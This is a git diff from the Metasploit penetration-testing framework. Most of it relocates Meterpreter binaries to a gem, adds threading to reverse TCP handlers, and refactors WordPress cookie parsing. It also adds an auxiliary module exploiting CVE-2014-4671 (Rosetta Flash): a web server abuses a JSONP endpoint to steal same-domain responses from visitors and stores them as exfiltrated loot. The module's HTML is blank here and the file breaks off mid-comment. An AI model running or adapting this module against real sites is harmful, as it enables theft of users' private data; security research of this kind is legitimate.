diff --git a/.gitignore b/.gitignore index 9eaa9ce6c8..8d1d791fbb 100644 --- a/.gitignore +++ b/.gitignore @@ -17,8 +17,6 @@ Gemfile.local.lock config/database.yml # simplecov coverage data coverage -data/meterpreter/ext_server_pivot.x86.dll -data/meterpreter/ext_server_pivot.x64.dll doc/ external/source/meterpreter/java/bin external/source/meterpreter/java/build @@ -58,3 +56,22 @@ tags # ignore release/debug folders for exploits external/source/exploits/**/Debug external/source/exploits/**/Release + +# Avoid checking in Meterpreter binaries. These are supplied upstream by +# the meterpreter_bins gem. +data/meterpreter/elevator.*.dll +data/meterpreter/ext_server_espia.*.dll +data/meterpreter/ext_server_extapi.*.dll +data/meterpreter/ext_server_incognito.*.dll +data/meterpreter/ext_server_kiwi.*.dll +data/meterpreter/ext_server_lanattacks.*.dll +data/meterpreter/ext_server_mimikatz.*.dll +data/meterpreter/ext_server_priv.*.dll +data/meterpreter/ext_server_stdapi.*.dll +data/meterpreter/metsrv.*.dll +data/meterpreter/screenshot.*.dll + +# Avoid checking in Meterpreter libs that are built from +# private source. If you're interested in this functionality, +# check out Metasploit Pro: http://metasploit.com/download +data/meterpreter/ext_server_pivot.*.dll diff --git a/.yardopts b/.yardopts index bb3a0e391f..eb3cff1cc2 100644 --- a/.yardopts +++ b/.yardopts @@ -5,3 +5,4 @@ --files CONTRIBUTING.md,COPYING,HACKING,LICENSE lib/msf/**/*.rb lib/rex/**/*.rb +plugins/**/*.rb diff --git a/Gemfile b/Gemfile index 48d7e590c0..fb71053848 100755 --- a/Gemfile +++ b/Gemfile @@ -3,6 +3,27 @@ source 'https://rubygems.org' # spec.add_runtime_dependency '', [] gemspec +# Need 3+ for ActiveSupport::Concern +gem 'activesupport', '>= 3.0.0', '< 4.0.0' +# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) +gem 'bcrypt' +# Needed for some admin modules (scrutinizer_add_user.rb) +gem 'json' +# Needed for Meterpreter on Windows, soon others. +gem 'meterpreter_bins', '0.0.6' +# Needed by msfgui and other rpc components +gem 'msgpack' +# Needed by anemone crawler +gem 'nokogiri' +# Needed by db.rb and Msf::Exploit::Capture +gem 'packetfu', '1.1.9' +# Needed by JSObfu +gem 'rkelly-remix', '0.0.6' +# Needed by anemone crawler +gem 'robots' +# Needed for some post modules +gem 'sqlite3' + group :db do # Needed for Msf::DbManager gem 'activerecord', '>= 3.0.0', '< 4.0.0' diff --git a/Gemfile.lock b/Gemfile.lock index 7bcefcb615..c154274ffb 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -77,9 +77,9 @@ GEM metasploit-concern (~> 0.1.0) metasploit-model (>= 0.25.1, < 0.26) pg - method_source (0.8.2) - mini_portile (0.6.0) - msgpack (0.5.8) + meterpreter_bins (0.0.6) + mini_portile (0.5.1) + msgpack (0.5.5) multi_json (1.0.4) network_interface (0.0.1) nokogiri (1.6.2.1) @@ -159,9 +159,10 @@ DEPENDENCIES factory_girl (>= 4.1.0) factory_girl_rails fivemat (= 1.2.1) - metasploit-credential! - metasploit-framework! - metasploit_data_models (>= 0.18.0, < 0.19) + json + metasploit_data_models (= 0.17.0) + meterpreter_bins (= 0.0.6) + msgpack network_interface (~> 0.0.1) pcaprub pg (>= 0.11) diff --git a/HACKING b/HACKING index 1de1e7cfa1..17343a9f03 100644 --- a/HACKING +++ b/HACKING @@ -10,7 +10,7 @@ CONTRIBUTING.md in the same directory as this file, and to a lesser extent: The Metasploit Development Environment -https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment +https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment Common Coding Mistakes https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll deleted file mode 100644 index 9a353967d2..0000000000 Binary files a/data/meterpreter/elevator.x64.dll and /dev/null differ diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll deleted file mode 100644 index 974215b428..0000000000 Binary files a/data/meterpreter/elevator.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll deleted file mode 100644 index b8adaf28ba..0000000000 Binary files a/data/meterpreter/ext_server_espia.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll deleted file mode 100644 index 334cb5a732..0000000000 Binary files a/data/meterpreter/ext_server_espia.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_extapi.x64.dll b/data/meterpreter/ext_server_extapi.x64.dll deleted file mode 100644 index 2d7db95f3d..0000000000 Binary files a/data/meterpreter/ext_server_extapi.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_extapi.x86.dll b/data/meterpreter/ext_server_extapi.x86.dll deleted file mode 100644 index 48e587c34d..0000000000 Binary files a/data/meterpreter/ext_server_extapi.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll deleted file mode 100644 index ef9e901f2e..0000000000 Binary files a/data/meterpreter/ext_server_incognito.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll deleted file mode 100644 index 522583236b..0000000000 Binary files a/data/meterpreter/ext_server_incognito.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_kiwi.x64.dll b/data/meterpreter/ext_server_kiwi.x64.dll deleted file mode 100644 index 7fafda84e7..0000000000 Binary files a/data/meterpreter/ext_server_kiwi.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_kiwi.x86.dll b/data/meterpreter/ext_server_kiwi.x86.dll deleted file mode 100644 index 72fd9503ca..0000000000 Binary files a/data/meterpreter/ext_server_kiwi.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll deleted file mode 100644 index 8d4a012825..0000000000 Binary files a/data/meterpreter/ext_server_lanattacks.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll deleted file mode 100644 index 91b78bf27e..0000000000 Binary files a/data/meterpreter/ext_server_lanattacks.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll deleted file mode 100644 index f5cf20f007..0000000000 Binary files a/data/meterpreter/ext_server_mimikatz.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll deleted file mode 100644 index 6c0eca1e1f..0000000000 Binary files a/data/meterpreter/ext_server_mimikatz.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index fef0426930..95eee22e7f 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll deleted file mode 100644 index a546eee463..0000000000 Binary files a/data/meterpreter/ext_server_priv.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll deleted file mode 100644 index c231d5225c..0000000000 Binary files a/data/meterpreter/ext_server_priv.x86.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index a172634dd1..d7c4ee9956 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index e9e73d42db..383bb0579c 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll deleted file mode 100644 index 19c401f078..0000000000 Binary files a/data/meterpreter/ext_server_stdapi.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_stdapi.x86.dll b/data/meterpreter/ext_server_stdapi.x86.dll deleted file mode 100644 index 6ee9e791f0..0000000000 Binary files a/data/meterpreter/ext_server_stdapi.x86.dll and /dev/null differ diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll deleted file mode 100644 index 158a433560..0000000000 Binary files a/data/meterpreter/metsrv.x64.dll and /dev/null differ diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll deleted file mode 100644 index da6711a724..0000000000 Binary files a/data/meterpreter/metsrv.x86.dll and /dev/null differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index 2f6cffe02f..b9e54612a9 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll deleted file mode 100644 index 8a2a55fc18..0000000000 Binary files a/data/meterpreter/screenshot.x64.dll and /dev/null differ diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll deleted file mode 100644 index ccfed0c0ef..0000000000 Binary files a/data/meterpreter/screenshot.x86.dll and /dev/null differ diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index f40e9531af..9fbc2aa46d 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -55,11 +55,12 @@ module ReverseTcp OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), - OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]) + OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), + OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false]) ], Msf::Handler::ReverseTcp) - self.handler_queue = ::Queue.new + self.conn_threads = [] end # @@ -124,6 +125,12 @@ module ReverseTcp # def cleanup_handler stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill rescue nil + } end # @@ -154,7 +161,13 @@ module ReverseTcp while true client = self.handler_queue.pop begin - handle_connection(wrap_aes_socket(client)) + if datastore['ReverseListenerThreaded'] + self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { | client_copy| + handle_connection(wrap_aes_socket(client_copy)) + } + else + handle_connection(wrap_aes_socket(client)) + end rescue ::Exception elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}") end @@ -261,6 +274,7 @@ protected attr_accessor :listener_thread # :nodoc: attr_accessor :handler_thread # :nodoc: attr_accessor :handler_queue # :nodoc: + attr_accessor :conn_threads # :nodoc: end end diff --git a/lib/msf/core/handler/reverse_tcp_double.rb b/lib/msf/core/handler/reverse_tcp_double.rb index 9a46d74fd4..86ecd5df0e 100644 --- a/lib/msf/core/handler/reverse_tcp_double.rb +++ b/lib/msf/core/handler/reverse_tcp_double.rb @@ -83,7 +83,7 @@ module ReverseTcpDouble # Kill any remaining handle_connection threads that might # be hanging around conn_threads.each { |thr| - thr.kill + thr.kill rescue nil } end @@ -105,9 +105,6 @@ module ReverseTcpDouble client_b = self.listener_sock.accept print_status("Accepted the second client connection...") - - sock_inp, sock_out = detect_input_output(client_a, client_b) - rescue wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") return nil @@ -119,9 +116,10 @@ module ReverseTcpDouble # Start a new thread and pass the client connection # as the input and output pipe. Client's are expected # to implement the Stream interface. - conn_threads << framework.threads.spawn("ReverseTcpDoubleHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| + conn_threads << framework.threads.spawn("ReverseTcpDoubleHandlerSession", false, client_a, client_b) { | client_a_copy, client_b_copy| begin - chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp_copy, sock_out_copy) + sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy) + chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp, sock_out) handle_connection(chan.lsock) rescue elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index 873e69c575..3a54619693 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -84,7 +84,7 @@ module ReverseTcpDoubleSSL # Kill any remaining handle_connection threads that might # be hanging around conn_threads.each { |thr| - thr.kill + thr.kill rescue nil } end @@ -106,9 +106,6 @@ module ReverseTcpDoubleSSL client_b = self.listener_sock.accept print_status("Accepted the second client connection...") - - sock_inp, sock_out = detect_input_output(client_a, client_b) - rescue wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") return nil @@ -120,9 +117,10 @@ module ReverseTcpDoubleSSL # Start a new thread and pass the client connection # as the input and output pipe. Client's are expected # to implement the Stream interface. - conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| + conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, client_a, client_b) { | client_a_copy, client_b_copy| begin - chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy) + sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy) + chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp, sock_out) handle_connection(chan.lsock) rescue elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 53fcd66ade..740af69610 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -1139,7 +1139,7 @@ protected # Merges the module description. # def merge_info_description(info, val) - merge_info_string(info, 'Description', val) + merge_info_string(info, 'Description', val, ". ", true) end # diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index ed4fe536f6..96c72ec0e2 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -110,6 +110,7 @@ module Msf::Post::Common break if d == "" o << d end + o.chomp! if o process.channel.close process.close when /shell/ diff --git a/lib/msf/http/wordpress/login.rb b/lib/msf/http/wordpress/login.rb index c0219163bb..27ccff4f64 100644 --- a/lib/msf/http/wordpress/login.rb +++ b/lib/msf/http/wordpress/login.rb @@ -15,22 +15,13 @@ module Msf::HTTP::Wordpress::Login }) if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect - match = res.get_cookies.match(/(wordpress(?:_sec)?_logged_in_[^=]+=[^;]+);/i) - # return wordpress login cookie - return match[0] if match - - # support for older wordpress versions - # Wordpress 2.0 - match_user = res.get_cookies.match(/(wordpressuser_[^=]+=[^;]+);/i) - match_pass = res.get_cookies.match(/(wordpresspass_[^=]+=[^;]+);/i) - # return wordpress login cookie - return "#{match_user[0]} #{match_pass[0]}" if (match_user and match_pass) - - # Wordpress 2.5 - match_2_5 = res.get_cookies.match(/(wordpress_[a-z0-9]+=[^;]+);/i) - # return wordpress login cookie - return match_2_5[0] if match_2_5 + cookies = res.get_cookies + # Check if a valid wordpress cookie is returned + return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i || + cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i || + cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i end + return nil end diff --git a/lib/msf/http/wordpress/uris.rb b/lib/msf/http/wordpress/uris.rb index 19fd567fc4..659b419572 100644 --- a/lib/msf/http/wordpress/uris.rb +++ b/lib/msf/http/wordpress/uris.rb @@ -66,4 +66,18 @@ module Msf::HTTP::Wordpress::URIs normalize_uri(target_uri.path, 'wp-links-opml.php') end + # Returns the Wordpress Backend URL + # + # @return [String] Wordpress Backend URL + def wordpress_url_backend + normalize_uri(target_uri.path, 'wp-admin/') + end + + # Returns the Wordpress Admin Ajax URL + # + # @return [String] Wordpress Admin Ajax URL + def wordpress_url_admin_ajax + normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php') + end + end diff --git a/lib/rex/post/meterpreter.rb b/lib/rex/post/meterpreter.rb index fc62e558dc..8986c6f0b4 100644 --- a/lib/rex/post/meterpreter.rb +++ b/lib/rex/post/meterpreter.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'meterpreter_bins' require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/ui/console' diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index b10c26ea90..a9f13dca42 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -149,7 +149,8 @@ class ClientCore < Extension end # Get us to the installation root and then into data/meterpreter, where # the file is expected to be - path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}") + modname = "ext_server_#{mod.downcase}" + path = MeterpreterBinaries.path(modname, client.binary_suffix) if (opts['ExtensionPath']) path = opts['ExtensionPath'] @@ -221,7 +222,7 @@ class ClientCore < Extension # Create the migrate stager migrate_stager = c.new() - migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" ) + migrate_stager.datastore['DLL'] = MeterpreterBinaries.path('metsrv',binary_suffix) blob = migrate_stager.stage_payload diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index c6baae6511..43f2328805 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -45,7 +45,7 @@ class Priv < Extension elevator_name = Rex::Text.rand_text_alpha_lower( 6 ) - elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" ) + elevator_path = MeterpreterBinaries.path('elevator', client.binary_suffix) elevator_path = ::File.expand_path( elevator_path ) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index c8343dbd43..22c8b04adb 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -156,7 +156,7 @@ class UI < Rex::Post::UI request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality ) # include the x64 screenshot dll if the host OS is x64 if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ ) - screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x64.dll' ) + screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll') screenshot_path = ::File.expand_path( screenshot_path ) screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| @@ -166,7 +166,7 @@ class UI < Rex::Post::UI request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length ) end # but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64 - screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x86.dll' ) + screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll') screenshot_path = ::File.expand_path( screenshot_path ) screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 28138c8c25..09a63403e9 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'set' require 'rex/post/meterpreter' require 'rex/parser/arguments' @@ -415,20 +416,23 @@ class Console::CommandDispatcher::Core @@load_opts.parse(args) { |opt, idx, val| case opt - when "-l" - exts = [] - path = ::File.join(Msf::Config.data_directory, 'meterpreter') + when "-l" + exts = SortedSet.new + msf_path = MeterpreterBinaries.metasploit_data_dir + gem_path = MeterpreterBinaries.local_dir + [msf_path, gem_path].each do |path| ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) - exts.push($1) + exts.add($1) end } - print(exts.sort.join("\n") + "\n") + end + print(exts.to_a.join("\n") + "\n") - return true - when "-h" - cmd_load_help - return true + return true + when "-h" + cmd_load_help + return true end } @@ -461,16 +465,19 @@ class Console::CommandDispatcher::Core end def cmd_load_tabs(str, words) - tabs = [] - path = ::File.join(Msf::Config.data_directory, 'meterpreter') + tabs = SortedSet.new + msf_path = MeterpreterBinaries.metasploit_data_dir + gem_path = MeterpreterBinaries.local_dir + [msf_path, gem_path].each do |path| ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) if (not extensions.include?($1)) - tabs.push($1) + tabs.add($1) end end } - return tabs + end + return tabs.to_a end def cmd_use(*args) @@ -730,10 +737,10 @@ class Console::CommandDispatcher::Core @@write_opts.parse(args) { |opt, idx, val| case opt - when "-f" - src_file = val - else - cid = val.to_i + when "-f" + src_file = val + else + cid = val.to_i end } diff --git a/lib/rex/test.rb b/lib/rex/test.rb deleted file mode 100644 index 380e85817d..0000000000 --- a/lib/rex/test.rb +++ /dev/null @@ -1,36 +0,0 @@ -# -*- coding: binary -*- -require 'test/unit' - -# DEFAULTS -module Rex -class Test - -$_REX_TEST_NO_MOCK = nil -$_REX_TEST_TIMEOUT = 30 -$_REX_TEST_SMB_HOST = '10.4.10.58' -$_REX_TEXT_SMB_USER = 'SMBTest' -$_REX_TEXT_SMB_PASS = 'SMBTest' - -# overwrite test defaults with rex/test-config.rb -def self.load() - file = File.join( ENV.fetch('HOME'), '.msf3', 'test') - begin - if File.stat(file + '.rb') - require file - end - rescue - # just ignore the errors - end - -end - -def self.cantmock() - if (!$_REX_TEST_NO_MOCK) - raise RuntimeError, "*** $_REX_TEST_NO_MOCK must not be set for this test ***", caller - end -end - -Rex::Test.load() - -end -end diff --git a/modules/auxiliary/admin/mssql/mssql_enum.rb b/modules/auxiliary/admin/mssql/mssql_enum.rb index 698fffa2c9..09375cf627 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary module to work, valid administrative user credentials must be supplied. }, - 'Author' => [ 'Carlos Perez ' ], + 'Author' => [ 'Carlos Perez ' ], 'License' => MSF_LICENSE )) end diff --git a/modules/auxiliary/admin/mssql/mssql_sql.rb b/modules/auxiliary/admin/mssql/mssql_sql.rb index ae4d743ae6..6ad1b3abf7 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary This module will allow for simple SQL statements to be executed against a MSSQL/MSDE instance given the appropiate credentials. }, - 'Author' => [ 'tebo ' ], + 'Author' => [ 'tebo ' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb index b11202c9d3..fe8379acbf 100644 --- a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb +++ b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'vlad902 ', # MSF v2 module + 'vlad902 ', # MSF v2 module 'jduck' # Ported to MSF v3 ], 'License' => MSF_LICENSE, diff --git a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb index 1816d668ac..bd39f544d2 100644 --- a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb +++ b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb @@ -22,8 +22,8 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'Steve Jones', #original discoverer - 'Hoagie ', #original public exploit - 'Paulino Calderon ', #metasploit module + 'Hoagie ', #original public exploit + 'Paulino Calderon ', #metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index b472ae5b10..d787886cc9 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'Carlos Perez ', # Base code - 'Thanat0s ' # Output, Throttling & Db notes add + 'Thanat0s ' # Output, Throttling & Db notes add ], 'License' => BSD_LICENSE )) diff --git a/modules/auxiliary/gather/emc_cta_xxe.rb b/modules/auxiliary/gather/emc_cta_xxe.rb index 814d315b16..dcb65dffba 100644 --- a/modules/auxiliary/gather/emc_cta_xxe.rb +++ b/modules/auxiliary/gather/emc_cta_xxe.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ - 'Brandon Perry ', #metasploit module + 'Brandon Perry ', #metasploit module ], 'References' => [ diff --git a/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb b/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb new file mode 100644 index 0000000000..31ad6011f4 --- /dev/null +++ b/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'open-uri' +require 'uri' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure', + 'Description' => %q{ + A website that serves a JSONP endpoint that accepts a custom alphanumeric + callback of 1200 chars can be abused to serve an encoded swf payload that + steals the contents of a same-domain URL. Flash < 14.0.0.145 is required. + + This module spins up a web server that, upon navigation from a user, attempts + to abuse the specified JSONP endpoint URLs by stealing the response from + GET requests to STEAL_URLS. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure + 'joev' # msf module + ], + 'References' => + [ + ['CVE', '2014-4671'], + ['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'], + ['URL', 'https://github.com/mikispag/rosettaflash'], + ['URL', 'http://quaxio.com/jsonp_handcrafted_flash_files/'] + ], + 'DisclosureDate' => 'Jul 8 2014', + 'Actions' => [ [ 'WebServer' ] ], + 'PassiveActions' => [ 'WebServer' ], + 'DefaultAction' => 'WebServer')) + + register_options( + [ + OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]), + OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]), + OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]), + OptString.new('STEAL_URLS', [ true, 'A comma-separated list of URLs to steal', '' ]), + OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ]) + ], + self.class) + end + + def run + if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe + raise "JSONP endpoint does not allow sufficiently long callback names." + end + + unless datastore['URIPATH'] == '/' + raise "URIPATH must be set to '/' to intercept crossdomain.xml request." + end + + exploit + end + + def check + test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length) + io = open(exploit_url(test_string)) + if io.read.start_with? test_string + Msf::Exploit::CheckCode::Vulnerable + else + Msf::Exploit::CheckCode::Safe + end + end + + def on_request_uri(cli, request) + vprint_status("Request '#{request.method} #{request.uri}'") + if request.uri.end_with? 'crossdomain.xml' + print_status "Responding to crossdomain request.." + send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy') + elsif request.uri.end_with? '.log' + body = URI.decode(request.body) + file = store_loot( + "html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response" + ) + url = body.lines.first.gsub(/.*?=/,'') + print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}" + print_good "Stored in #{file}" + else + print_status "Serving exploit HTML" + send_response_html(cli, exploit_html) + end + end + + def exploit_url(data_payload) + delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end + "#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}" + end + + def exploit_html + ex_url = URI.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log') + %Q| + + + + + + + + + | + end + + # Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/ + # + # Alphanumeric Flash swf applet that steals URLs. Compiled from the following code: + # + # class X { + # static var app : X; + # + # function getURL(url:String) { + # var r:LoadVars = new LoadVars(); + # r.onData = function(src:String) { + # if 